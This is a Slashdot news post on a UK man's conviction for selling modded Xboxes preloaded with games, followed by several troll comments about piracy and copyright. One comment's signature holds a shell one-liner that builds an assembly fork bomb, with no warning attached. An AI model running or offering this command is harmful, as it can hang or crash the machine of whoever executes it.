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Man Convicted For Hacking Xbox

Posted by Zonk on from the thinking-big dept.

PipianJ writes "Remember the ruling in Britain which outlawed mod chips last year? BBC News is reporting that a man has been convicted of modding an Xbox and sentenced to 140 hours of community service, a fine of 750 pounds (about $1300), and the confiscation of his PCs and Xboxes." From the article: "The man had been selling modified Xbox consoles which he fitted with a big hard drive containing 80 games. 'This case sets a major precedent which marks a milestone in the fight against piracy,' said games industry spokesman Michael Rawlinson." Update: 07/04 22:12 GMT by Z : Updated to more accurately discuss the story.

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  1. Re:The point.... by Hal_Porter · · Score: 0, Troll

    Judging from the TONE of your post, I don't think you should be allowed to have sharp things, let alone a handgun.

    Sorry, couldn't resist.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  2. Re:Er, this is actually about boring old piracy by ikkonoishi · · Score: 0, Troll

    Huh I always thought that piracy refered to robbery committed or attempted on the high seas.

    I guess you learn something new every day.

  3. Re:Uh, aren't you leaving something out? by 110010001000 · · Score: 0, Troll

    Thats because you have never produced something worth copyrighting or patenting in your life.

  4. Re:Er, this is actually about boring old piracy by MustardMan · · Score: 1, Troll

    So, you've bought into the propaganda campaign of the **AA, forcing an inappropriate word to make a behavior seem more heinous than it is, and the guy who understands the REAL meaning of the word is the moron?